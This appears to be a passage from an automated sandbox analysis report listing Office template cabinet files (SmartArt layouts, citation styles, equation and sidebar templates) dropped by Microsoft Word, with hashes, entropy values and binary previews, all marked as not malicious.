Preview:	MSCF............D................................?..................................BracketList.glox.................Content.inf....7r...[.... G.q..@...B.....?X!.A.......!........X..Vk.JK...Z..=......PD.....P....5...jp..+..T....b.)np5.7.....Zz........... ..!.....S......1....`....h......T?.Nq../......z....[..:..5f;....O...d.FxD...4...Z....[..a...w..W.[..P...5.]...6..."...+t].!...2\%%`Q.\..)...=>.)......a.$.2.,...2,.Lw.?..+..qf....h....T/B.....}T.E...'.%.....,.......X....b..gt.hPYc\|.....a...j...=...{..a.`!8!..\|...L.T..k..!,.R.z/W....{..,...+..w.m..sQ..7<x..B....?....\.)..l...d...}.....v..W.C..'=p1c.Z=.W.g.e....&wm..N,..K.T../.oV../=9.}.....".28...r.Q....dzj{....S...1m...x9_...2PXpa...Q.n.$z...c..SGq...k......}kPE.....3.\|.5A.>..6.......+)qCB....q....qNkGe...W]..o..Z...J.<.i......qq.8....q..BE.(...._h.U.\@3.F...KdO..=1j+....).Q.\|B..Z..%......LDYk....j.....{klDW..#CVy}...X..O!..}..s..&..DC.....tL.j..b.......[...n.'..1..Xc...9Q..gM.....n..3...v.....~.).

C:\Users\user\AppData\Local\Temp\cab7D13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 9170 bytes, 2 files, at 0x44 "InterconnectedBlockProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	25314
Entropy (8bit):	7.729848360340861
Encrypted:	false
SSDEEP:	384:75V23GNhfG/YvmBqWDP7G8E0GftpBjEB1vrFLrHRN7mKll7PK/pRU0:LS/Yvc7TG8Pi6BLm6IS0
MD5:	C47E3430AF813DF8B02E1CB4829DD94B
SHA1:	35F1F1A18AA4FD2336A4EA9C6005DBE70013C7FC
SHA-256:	F2DB1E60533F0D108D5FB1004904C1F2E8557D4493F3B251A1B3055F8F1507A3
SHA-512:	6F8904E658EB7D04C6880F7CC3EC63FCFE31EF2C3A768F4ECF40B115314F23774DAEE66DCE9C55FAF0AD31075A3AC27C8967FD341C23C953CA28BDC120997287
Malicious:	false
Preview:	MSCF.....#......D............................#...?...................#..............InterconnectedBlockProcess.glox......#..........Content.inf...<.:#.$[......O..........5f.P.5CU..6..jT..U..U..UM.T.........h................-... .......6...`.....G...........'.,DN:........... "..4..1u.....%.u..{{,....@lp..}..`.......Z...K.....Z..... Z4.<?..C.BF.....k.!Hl...]...Tvf..g....)...vny6.'..f....Z.R.`.......+....!..!.....:..4fj....."q..f..E..^!k.....M.c....R...B......g...~.........o.'.7,.e.,..7.R.e,(.+..+:....Q....f...P.H.I..U.....Jl...l...z.]7...C...<...L.,..@...i.{..e]K...2..KRW..7.-'.G.l!.n7..J.v.C...%/.....q...@..l..e..$..N..sg8]oo.(q(_.?.X.s...Ua..r0...Rz.o.eT.j...b..}",n.qou..M.[.;%../c.x.4.z.2.U.]..D...h...-R.$.=\3..P......N.mP......J...}BPn...g]d.5k..C.ee.ml...\.g...[.......<..6$.%.I#S9..I...6.i........_..P.n....c$.3..zw.hF......_{.+...o...[.&........&...M..m.....;....0....D7...4nQ.=/.._`._.nh.D.m..h.+....8..p..q.4.w.\...iy...*...lN6F..c.

C:\Users\user\AppData\Local\Temp\cab7D14.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5864 bytes, 2 files, at 0x44 "architecture.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22008
Entropy (8bit):	7.662386258803613
Encrypted:	false
SSDEEP:	384:M7FUtfIdqSHQs7G8E0GftpBjED/C4RQrFLrHRN7TT8DlvQyUTL2mH:sWgdqR2G8Pi6D6YQZTTMvU+mH
MD5:	ABBF10CEE9480E41D81277E9538F98CB
SHA1:	F4EA53D180C95E78CC1DA88CD63F4C099BF0512C
SHA-256:	557E0714D5536070131E7E7CDD18F0EF23FE6FB12381040812D022EC0FEE7957
SHA-512:	9430DAACF3CA67A18813ECD842BE80155FD2DE0D55B7CD16560F4AAEFDA781C3E4B714D850D367259CAAB28A3BF841A5CB42140B19CFE04AC3C23C358CA87FFB
Malicious:	false
Preview:	MSCF............D................................?..................................architecture.glox.................Content.inf..q5.^...[.....0y......../..CL.C5.Q..U5g.z....UUUMPC...C..P....T.....=..s..4c...-3H..E...2..2*..T...../.i.;$..............%...................'h.........#0.......[........c.h.....O...%.61...[.J..:.,^....W.]$..u...N.R.....H.......:%I.g5Kd.n6...W2.#.UL..h.8NN../.P...H.;@.N.F...v."h..K.....~.....8...{.+...&.#A.Q'..A.....[NJ.X.....\|.\|.G5...vp.h.p..1.....-...gECV.,o{6W.#L....4v..x..z..)[.......T.....BQ.pf..D.}...H....V..[._.'.......3..1....?m..ad..c(K.......N.N.6F%.m......9...4..]?...l6..).\p;w.s....@...I%H.....;\...R......f...3~:C...A..x....X...>...:~.+..r@..."......I..m.y..)F.l..9...6....m...=..Q.F.z..u......J].{WX...V.Z.b.A0B..!....~.;Z.....K.`c..,X.MFz....].Q.2.9..L."...]...6...JOU..6...~../......4A.\|.......i.LKrY...2.R.o..X.\....0.%......>H.....8.z..^....5d\|...4\|...C......R28.E......a....e...J.S..Ng.]<&..mm

C:\Users\user\AppData\Local\Temp\cab7D15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14939 bytes, 2 files, at 0x44 "CircleProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	31083
Entropy (8bit):	7.814202819173796
Encrypted:	false
SSDEEP:	384:0XbSq3W46TVZb5fOFo1HtZwGqtRT44hS+nyBoiuFgbA8E0GftpBjEcBFLrHRN7Ku:0XpOflfOFo1DMr/iuuA8Pi6cfKjW66b
MD5:	89A9818E6658D73A73B642522FF8701F
SHA1:	E66C95E957B74E90B444FF16D9B270ADAB12E0F4
SHA-256:	F747DD8B79FC69217FA3E36FAE0AB417C1A0759C28C2C4F8B7450C70171228E6
SHA-512:	321782B0B633380DA69BD7E98AA05BE7FA5D19A131294CC7C0A598A6A1A1AEF97AB1068427E4223AA30976E3C8246FF5C3C1265D4768FE9909B37F38CBC9E60D
Malicious:	false
Preview:	MSCF....[:......D...........................[:...?...................A..............CircleProcess.glox......A..........Content.inf......9.B[.....@........!...(A.D..K.W.wwpwJj\.K\w...]...K.!.....@0..?,...}won`... ....&I..(;.....X.u..^.R..^......_:....W>f\....T...B..i`\|q.....................i.5....(........0q7@.@..F...?A.`.....,L.......5.+../56..a`....1C5..9.I.N.......@\|<+./......... .ya....>l.,t.......y.y5...FF.,F..jCA...SA..H....8u.L..eM?.w8.......~^.Mr.[...(.._......u..+.......j..TJ.:<.3.X`...U.bz...[...r-...[...+..B.......}...\'.i...C.8.B_...c.8</..s.....VQ.Y..m.,.j~;y ...2.5.VQ...K..jP..2..r-...HA...."..9).7.....5.E._.wq.......!.+n+.f...s].4M'.1&...5....4..k..NV.M1.7`a..<.P4.\|.mrd.i.R...u...............v.}..n\.C$.....[..2c.^..W..g..._.0.C.o....%.z.!.;.@y.`\..UO#i.)...Q...........L. .\:_..H.{.W...@...T.4..A.a...Wo?o$4.....#.V.s8M.Gh..p?A...Y.....)...........r\|...!..o9...8..%#.[....;...3<Z...g....~.Z....,.(...qA.'x#..xC..@...HOuW.[.[....c.........

C:\Users\user\AppData\Local\Temp\cab7D16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15338 bytes, 2 files, at 0x4c "gosttitle.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31482
Entropy (8bit):	7.808057272318224
Encrypted:	false
SSDEEP:	768:LgHv7aLOcoLGQ4EykdrHwLa+A8Pi6Iv8ACIa:LwvWyx4EykdTwLaWP7I0ACIa
MD5:	F10DF902980F1D5BEEA96B2C668408A7
SHA1:	92D341581B9E24284B7C29E5623F8028DBBAAFE9
SHA-256:	E0100320A4F63E07C77138A89EA24A1CBD69784A89FE3BF83E35576114B4CE02
SHA-512:	00A8FBCD17D791289AC8F12DC3C404B0AFD240278492DF74D2C5F37609B11D91A26D737BE95D3FE01CDBC25EEDC6DA0C2D63A2CCC4AB208D6E054014083365FB
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......................gosttitle.xsl.$...............Content.inf....v....[...=..Ic.32.E...`o.............m....4uk[.,.......{...}k{.R@(Hq..68nv...@.D.....$...j....8Q..........8.8........3....bi?Wt...:(..J.;&eii..io.w..z...`.'..i.MLR@.>....N..3`P.>$X@(r.#.D..(....P"_..I.$o.. L!y...I...H.........{.{....{.3....7..w..{w.2sn.dYn.lW...l...c$.UH....L6. .D$$...!F.!... .D............_..'.`.Q.v>..Z..f.n.l....0o.......bK...?s..eO....'.>t......S'..........~....h...v&7:q.x9\|qs...%....:..D...ag.....e..'...".A.Y..?w"....p1t.9J.~.4.........~vj.n.8.;.O......../.}..io{p...e...\m.d`.gAm.......1"...N...8..g"......~..[.e+.....\6i4.....%...Rq.U-p?..4P..4.f.?N.vI?.M\i.;.s..E.L.hu.*...\..5....N......]......\`...rS.\g.....2..!a).?.l.!i.^.t.u...x...g/.A..v.E...\.@.>kM...&.g.....%.......{.....2..E.g...'..[w...N.w..& 4M.a.cu.%:...\.D..Q..C.'fm..i....@._......QI.. ....h..\|fB.il.(`..h.d;.l...`.s:

C:\Users\user\AppData\Local\Temp\cab7D26.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 18672 bytes, 2 files, at 0x4c "APASixthEditionOfficeOnline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.840826397575377
Encrypted:	false
SSDEEP:	768:i3R9VYnIYfPYmqX0CnF1SRHVnLG8Pi61YbEIFO:ih9VjYfPYlk+F1SJxP71YbEIFO
MD5:	62863124CDCDA135ECC0E722782CB888
SHA1:	2543B8A9D3B2304BB73D2ADBEC60DB040B732055
SHA-256:	23CCFB7206A8F77A13080998EC6EF95B59B3C3E12B72B2D2AD4E53B0B26BB8C3
SHA-512:	2734D1119DC14B7DFB417F217867EF8CE8E73D69C332587278C0896B91247A40C289426A1A53F1796CCB42190001273D35525FCEA8BA2932A69A581972A1EF00
Malicious:	false
Preview:	MSCF.....H......L............................H...?...................G......................APASixthEditionOfficeOnline.xsl.H...............Content.inf..h;.....[...Q..\..3S.5..oVP!i/Z.Ls...]q$...xY..+W.qm..B..y/.5.s..x$../K./.x.$.....}.......\........LNf..Hd.&."Ip.L.Mr-@.D..kW~i...^.....F.....T.U....../..0..2.{.q.T.`'{.00.{.B...>.R..2....1.~_.f..s...........~....~[..v..w..v....$[K.r$#[6...d;[...#.9.-...G..Z..eAR.0")%JI?&....$..$.H..$(........f.> k....hP...p...!j.T......l7..../3..(2^V...#..T9...3.@[0...le:...........E....YP.\.....au1...\.S\|..-.duN.Z..g.O......X8....1.....\|,.f/..w.\|Wk]zJz.g'./7h..+.....}............x....s.2Z\..W.{...O....W.{j.U..Q....uO=.p.M k.E.S{SUd.@....S.Syo8>......r......8..............Z?>.mUAg....?o....f.7..W.n...P..........d.S?...\..W`...c.ua..........#.Y...45...F(d.o\09^..[.}...BsT.SD..[l.8..uw.7l..S.9T.KR..o......V..]...M .....t.r...:P...M....4.F.....@..t.1t..S...k.2.\|5...i.%H..<.J...0n.....lZ.....?.?.~..O .)..

C:\Users\user\AppData\Local\Temp\cab7D3A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15461 bytes, 2 files, at 0x4c "gostname.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31605
Entropy (8bit):	7.820497014278096
Encrypted:	false
SSDEEP:	384:7SpOUxgQ9gFodHZktfHa2TSmcAg76j8/xorK0JoZgbA8E0GftpBjE2PzFLrHRN7S:OngHltf7Bcp/xoB3A8Pi625D8RA54
MD5:	69EDB3BF81C99FE8A94BBA03408C5AE1
SHA1:	1AC85B369A976F35244BEEFA9C06787055C869C1
SHA-256:	CEBE759BC4509700E3D23C6A5DF8D889132A60EBC92260A74947EAA1089E2789
SHA-512:	BEA70229A21FBA3FD6D47A3DC5BECBA3EAA0335C08D486FAB808344BFAA2F7B24DD9A14A0F070E13A42BE45DE3FF54D32CF38B43192996D20DF4176964E81A53
Malicious:	false
Preview:	MSCF....e<......L...........................e<...?...................;......................gostname.xsl."...............Content.inf.[.......[...>..\|..32.E..o`h....W.>.^...v..5...m.w.$.U..U......m.mu...'4....m`.9F.. ...I..PTS..O.D...GM#...#CUE.`.`%n..N...G,.~..+.6cv.L...G.m.Y..vy.....Yh9/.m,..wtw..;....Ka.a.{.\...'.....<X....%)...G..d......R./..4$..32..@....f.h....w..ov.}w..[.....{.v.......dr..&w#G..$3.zI&f..(C..L.z5J... .`...!.!4. ...!.` .$........w.J.X7.w_..@.w..f]=.C.....I-....s.s_.x...~..A... ...z...nM..;....Z....vt....6...~.w.....*x.g.h.T.J..-.3=....G.n..ti.A...s...j$.Bf..?......6.t.<j...>.."....&=BO?w.uN.o.t.-r..K....>C..^G..p...k...>.xZ.[fL..n.."].W#...\|.i.0W.q.F: ..<#w......w....s....."...n.qu.../rI.....q....P~.B..\|b?.N.}..MyO..q..:q.7..-~.xa.S...\|.....X.....g.W.3.mo..yy.GG.s>....qy....r........#.F.P..A.......A....b.2..14.8.i6..w.S...v~{0z.<.Z...^!.;2mSV.i....{...U...+...r.;...h.++..T6.a...$....j5F+..1t....b......\|.Q\d-.S..2... ......Y..A...s....

C:\Users\user\AppData\Local\Temp\cab7D3B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 27509 bytes, 2 files, at 0x4c "Equations.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	43653
Entropy (8bit):	7.899157106666598
Encrypted:	false
SSDEEP:	768:+bjfeR1OOZvv439PlDe5/QzhgFSo0UEDmJwkqTA8Pi63Bsgn66w:IM3CN9ZzhFbUUwaP73BsB6w
MD5:	DA3380458170E60CBEA72602FDD0D955
SHA1:	1D059F8CFD69F193D363DA337C87136885018F0F
SHA-256:	6F8FFB225F3B8C7ADE31A17A02F941FC534E4F7B5EE678B21CD9060282034701
SHA-512:	17080110000C66DF2282FF4B8FD332467AF8CEFFA312C617E958FDFEBEE8EEA9E316201E8ABC8B30797BB6124A5CC7F649119A9C496316434B5AB23D2FBD5BB8
Malicious:	false
Preview:	MSCF....uk......L...........................uk...?...................j......r...............Equations.dotx.................Content.inf.94v..R..[..... .............v........." Vw.w..r.....D.V5.p...W......b;....\x.....f.-...............l.....L.F....@..BnF.I.....%1..0....&.X.......X-.\.\.>..A....@..:...N .G./.Sp.A0.0.`.....q....b... ......S.{K...V....J............>\....\.E.#.,$.hxu.F.Fo....<...{..6../..#..l>d...w...&...S.....L.].....^..L......;~l.......qw.o. .....v.u.W`.4Z.A.....dC..Q)9.c..qgtfJ..G.(.J....q4V.).mK4;..zY..b.5&....V...0X.].Z..U.Lx..^..:8XQh.....7yy.._5............c.W...c...xY..%..G.$....kg^.1g.9.....z^.'...q."..K)a[.pW .LS.:Q8.....2..._q.os....y...d11..m....8.,.^.4_?i.e.u.,....._y.....zZZA.D.D<..+....{....Sfnv...t.....0...vV..y.r..3..%.<.t......;.h.wh.-.g.>..5...R...........y..]^..R..<...>$~.'...kk.n..H.EN.eQ.Q.O./='....)t.l0,/].....FNN......?...&..'.eS....K.K.v".^L..x=.^......1x\|....=}@...B.kq;_a..C.q?..Y9.v......Q..u.G..V.

C:\Users\user\AppData\Local\Temp\cab7D6E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6005 bytes, 2 files, at 0x44 "HexagonRadial.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22149
Entropy (8bit):	7.659898883631361
Encrypted:	false
SSDEEP:	384:b98FG/zdCbf7BOEawSi8E0GftpBjEPTFPxFLrHRN7S5ll7PK/pA2:N/zAbDae8Pi6PFPSRIA2
MD5:	66C5199CF4FB18BD4F9F3F2CCB074007
SHA1:	BA9D8765FFC938549CC19B69B3BF5E6522FB062E
SHA-256:	4A7DC4ED098E580C8D623C51B57C0BC1D601C45F40B60F39BBA5F063377C3C1F
SHA-512:	94C434A131CDE47CB64BCD2FB8AF442482F8ECFA63D958C832ECA935DEB10D360034EF497E2EBB720C72B4C1D7A1130A64811D362054E1D52A441B91C46034B0
Malicious:	false
Preview:	MSCF....u.......D...........................u....?..................................HexagonRadial.glox.................Content.inf.........[.....`........./.mT.T6...CP..z5...0.PcUmCUSUCU.Q.P.0..f............^...H..2e.[..8...ld......F.%.j.w!R..NA.L............ .r..z....$&.........P.=.r...O...e..dfv_.i%.C....^......?..x...+d..].B.3..EU...\|Cc..z.`lQp..fr.....8!;.8.p.ZwH\.........~..T.t..]..H.]..S.2..Vt.....r.H../..-8........!:.Y&..\|A..J.U...-.%..k..U...4m.. .q../..b.8.vc~......_q1.?..Bh.v.....L..I.$I..s.".u.. Y....I^5.v...3.......].^)b.t.j...=...Ze~.O...\|.}T.._9c........L....BV.^......X..?.....{.>.j..5.m...d.7........g[..f.nST...i..t..\|.T.jjS..4p.Pxu....W...\|.A)..\|9;....H.e.^.8D..S...M..Lj.\|...M.m+..H.....8.&-....=.L.....n.v..M.9...l....=r......K.F.j.(.(xD.3..r'9.K..-...5..Z..x....._....a[...J...`.b_a\\j.ed..\.3.5....S.T...ms.....E...Xl.y.LH=...}..0.T...04.4..B[..H.....B{B9.h..=.8Mn.*.TL.c..y.s.?.c9$l...).h).6..;.X../_>Pl...O...U.R..v.dy$A

C:\Users\user\AppData\Local\Temp\cab7D6F.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14813 bytes, 2 files, at 0x4c "iso690nmerical.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 7 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	30957
Entropy (8bit):	7.808231503692675
Encrypted:	false
SSDEEP:	384:rKfgT03jNkAFbgUQWtxq9OGh1bBkd/1MVHb5iVOdMgbA8E0GftpBjEl8tFLrHRNF:r303jOrUQAkfhopWHbA8Pi6l8zuUIq
MD5:	D3C9036E4E1159E832B1B4D2E9D42BF0
SHA1:	966E04B7A8016D7FDAFE2C611957F6E946FAB1B9
SHA-256:	434576EB1A16C2D14D666A33EDDE76717C896D79F45DF56742AFD90ACB9F21CE
SHA-512:	D28D7F467F072985BCFCC6449AD16D528D531EB81912D4C3D956CF8936F96D474B18E7992B16D6834E9D2782470D193A17598CAB55A7F9EB0824BC3F069216B6
Malicious:	false
Preview:	MSCF.....9......L............................9...?...................8......1P..............iso690nmerical.xsl.................Content.inf...A@...[...5.....33.E...P.../..........5sv.]3srm8.T.=.......}.v.T.. ..4IH.r.%Z.(.q.\+K..[,....E....A......#CEF..}p..Y/s$...YKI.#M.?.t.1#C....I..v.vn...-...v7../S.m.Ma.....!.Y....4.......3.3....c&R9..%......(J..BDMI.>7J.....".....}.w.}w.wg.v...^.n.{....{f.mlI..%.#..I..S....D..QJ U......4........K.(@....DH.....}...8;..z...&0%e..G.OAM..x.3......\....zS9....}......89.B...e.W.p{;.....m.m3...}....../...q.~..;.,..".j.g..^N............iC.../\|...g.=..9.Q].Gf.....QA....74..v.....9.n[......0.}..jo{y./.2..Ym......;u...b.(Jz^.....~..uM...{s../..#.)n2..S.S.c..6)U.V....!.'R.......P.S.D..S.p/......D.......{......?.u.",...Mp._....N..+..=Y#..&0w....r.......$.xwC......P.e7.>O....7....].y%q^S'.....C.`.?..}Q..k../u.TK...y........S...{T.?......[.H.'L..AS.Y.\|..b...J.H-.^U>'9..uD[.".b[.l.......o..6.L).h.B0RJa.b..\|m:.):......F

C:\Users\user\AppData\Local\Temp\cab7D70.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 30269 bytes, 2 files, at 0x4c "Text Sidebar (Annual Report Red and Black design).docx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	46413
Entropy (8bit):	7.9071408623961394
Encrypted:	false
SSDEEP:	768:WaxA0CH65GY3+fvCXCttfR8JEBrkquwDn+QV5V+vNWBatX/xG8Pi65sMuMjvU+mQ:hne65GYOfKXMSEBrBtDnzFAI4JxP75sM
MD5:	C455C4BC4BEC9E0DA67C4D1E53E46D5A
SHA1:	7674600C387114B0F98EC925BE74E811FB25C325
SHA-256:	40E9AF9284FF07FDB75C33A11A794F5333712BAA4A6CF82FA529FBAF5AD0FED0
SHA-512:	08166F6CB3F140E4820F86918F59295CAD8B4A17240C206DCBA8B46088110BDF4E4ADBAB9F6380315AD4590CA7C8ECDC9AFAC6BD1935B17AFB411F325FE81720
Malicious:	false
Preview:	MSCF....=v......L...........................=v...?..................5u......................Text Sidebar (Annual Report Red and Black design).docx.v...............Content.inf..C,.zd..[............... .w.....b...wwww]r..W\ww...... .hh...........o.nz.....Ku.7..-.oH...h;.N..#.._.D,}......!Q$..Un.tI11..$w.r3... ..p...=.1....""..n.../....h.A...Y..c,.Q.,......",..b.1.w..$.....l../;..J.....~.. ....+.R#....7.-..1.x.feH.@.......u...(.DQ%.wL.N\|.xh...R..#....C...'X.m.....I{W.....5.C.....\....z.Y.)w..i...%....M..n.p.....{..-G9..k.bT.6........7....).....6..ys.....R.e.....0.Xk`.3..X\xL..4J"#.f...:....r..2..Y.uW..052.n.+ ..o..o..f&u.v.&9y.P..6.K..in.DU.#.~....4i..6;.5.w..i...g.(....../..0Vh...C..//....W..:w......7.6....]....4.9...sL.0k...zHh..2N.H.....]..(.x.:..........Y.+...-.....&.*^..Q.sW...v..w.....k.L.e.^.W4iFS..u.....l.g'...b~:Zm...S.2.\|......5S..=.............l.../\|....G\|.9 ..#.q...W.Q...G=.."W..'.6....I....D._.{.g.47....V.1._..<?....m............)..T.

C:\Users\user\AppData\Local\Temp\cab7D71.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15418 bytes, 2 files, at 0x4c "harvardanglia2008officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31562
Entropy (8bit):	7.81640835713744
Encrypted:	false
SSDEEP:	384:yhsBScEWkrljntbzuMmWh7ezPnGgbA8E0GftpBjohgsRFLrHRN7ybll7PK/p:MsBScwtnBmWNeTzA8PiuWsvyDI
MD5:	1D6F8E73A0662A48D332090A4C8C898F
SHA1:	CF9AD4F157772F5EDC0FDDEEFD9B05958B67549C
SHA-256:	8077C92C66D15D7E03FBFF3A48BD9576B80F698A36A44316EABA81EE8043B673
SHA-512:	5C03A99ECD747FBC7A15F082DF08C0D26383DB781E1F70771D4970E354A962294CE11BE53BECAAD6746AB127C5B194A93B7E1B139C12E6E45423B3A509D771FC
Malicious:	false
Preview:	MSCF....:<......L...........................:<...?..................D;.......V..............harvardanglia2008officeonline.xsl.L...............Content.inf.Vu......[...E..o..3D.5..nF.A..+.e.....6r..f........M3...-.s.m.... $r.b.!.q!.....G...0.\.......fd......%m...'1Y..f..O....#.P.,{..m...\|..ww.{.m...f...n%...,..y...0y...8.Q...`.../.q....a...',.V......8.7..8t..................6.]..6..nw..ynm..-l.Y..,.I?..$....+b9$E!S@"..) .4........H...lA...@!a.F.l$..0#!.....n&.5j.t+..1f\|.+....E.zDk.l8.+<q.^.........\5.l..iT.9...........Y..6.^,.o.bn.E5w..s.../...W.gS..j9..'W.F......].4\Mzz..Td..Ho..~.Q...Z..D..O.JP..m..s.j.:..........y._.....#..rD....60.\!y........p.o3,..Ub,......[[L.{.5.....5.7UDB9.{;;g.z.z..jM.G.MY.oe.....(r..B6..CV.7Fl.Z/....-.O.vY.c...-..........b.T)3.u..f~x2.?.8.g.x.-.....Qt_...$e.l..jtP..b....h...sW0.`.....c...F_....t.........LC..*5I.X$^.;&....#.._\J..........;..wP..wX.qy.qs...}46..fK.XN.&0........k1....8...............'t.......}.......O_.

C:\Users\user\AppData\Local\Temp\cab7D72.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14864 bytes, 2 files, at 0x4c "mlaseventheditionofficeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31008
Entropy (8bit):	7.806058951525675
Encrypted:	false
SSDEEP:	768:ktH7oN/HbwiV+M+4Jc+5UrT3czi5uOHQA8Pi6DxUR/WTZIy:87sPEANXJc+eTMsuzP7DmN0ZIy
MD5:	E033CCBC7BA787A2F824CE0952E57D44
SHA1:	EEEA573BEA217878CD9E47D7EA94E56BDAFFE22A
SHA-256:	D250EB1F93B43EFB7654B831B4183C9CAEC2D12D4EFEE8607FEE70B9FAB20730
SHA-512:	B807B024B32E7F975AED408B77563A6B47865EECE32E8BA993502D9874B56580ECC9D9A3FEFA057FDD36FB8D519B6E184DB0593A65CC0ACF5E4ACCBEDE0F9417
Malicious:	false
Preview:	MSCF.....:......L............................:...?...................9......................mlaseventheditionofficeonline.xsl.L...............Content.inf.N.#.....[...>..9..3c.5...F.B.]Y.3..%d.8...v;....~Y.L.=..v..m.g...\|K.B....$......s.......#CdE.p.p..@...j.Nl2'...L..N.G:-V:.d.....i..M........mK.w.....\W.<.`..b$.!..!3..rT.A..#.).;KZ...a.-..j&e`R.~7dIRS.I..f.ff....}.}....^[wo.uw..i.m7......v$.I..n....-.Z.M5...iH..Ea..., [..0.L...DH..." ..... .@...H.@..+...}.......^..'.4.tHa..f].gV..~.7V.....C..).(.U"..f.@l..j'..%\.u.UU.....9<13...5..=........./..Z..{..-.L].+Y.fL.<EJ.q..!.j....W..]E./.~Y>...GgQ..-....Q.C..5..T+...fO. .)..~.7..Y....+..U=.e..8w.m...._..S..v.d.* ......S3z.X)......u...t.......i.;.a...X.Ji....g.3.!.O.....T.f6..[U....O..Z.X.q.G....?.k]..?...8.u.;].8y.T.9D..!?R....:........3+.P.....7?m}..............1...y3.g.\c.ks^;?.f.U5...U.j....E.N.}.!.......).R1....~.....R.....3.J.f...l..E^:...&_..%..v...^..E...rC..O....M.#..<..H..bB.+.W..

C:\Users\user\AppData\Local\Temp\cab7D82.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 7453 bytes, 2 files, at 0x44 "pictureorgchart.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	23597
Entropy (8bit):	7.692965575678876
Encrypted:	false
SSDEEP:	384:y6aR//q0bJi/Uj+957G8E0GftpBj/4YOFLrHRN7LxhKll7PK/ph:y6I/Li/UjmVG8PiZ4YsLxh6Ih
MD5:	7C645EC505982FE529D0E5035B378FFC
SHA1:	1488ED81B350938D68A47C7F0BCE8D91FB1673E2
SHA-256:	298FD9DADF0ACEBB2AA058A09EEBFAE15E5D1C5A8982DEE6669C63FB6119A13D
SHA-512:	9F410DA5DB24B0B72E7774B4CF4398EDF0D361B9A79FBE2736A1DDD770AFE280877F5B430E0D26147CCA0524A54EA8B41F88B771F3598C2744A7803237B314B2
Malicious:	false
Preview:	MSCF............D................................?..................................pictureorgchart.glox.................Content.inf.W..y....[.............../.jC....U.CUUUTU.5...jjPU..MP....T..0....o0.......Y.=....P.({.3.p..."pA!>r../3.q..7...........!...TO....(..%......6...3E?....~......CZmndse.Qy....p....h....=.:5...F..%.E.&.v.`I~. ..%._..b]..Y..Q..R.........nN.q8c..a..L..X/.M...PP.q..SpZ.K]>D"Pf..B.c....0..\|I.Q.,.g/..Kev.../..=......w..}3.....(....+#T.....K`N.u..Z.....rriK.(...(...6.<R.%.]..NX..b..].C.u....++......Ia.x. .7....J.#............w>....7..R...H>....@%....~.yA.......~.UB... .P..$...-...v.....=M."....hw..b....{.....2pR....].C..u@=G."Y..;..gc/N.N.YB.Z.q.#....$....j.D..P..!.)S.{..c....&'E.lJ%.\|O.a...FG.\|.....A..h.=c7.)d.5...D...L...IQ..TTE.NL-.*M..>..p0.`......m..,.w#rZ..wR\@.Wn..@Q...}..&...E...0K.NY....M.71..`.M./:.>..._L..m...,U.l....._fi...nj9..,..w.s.kJ.m.s.M.vmw.!.....B.s.%.-').h.....)c.l....F..`3r...-.....0..7..&N.....n.#H...<7

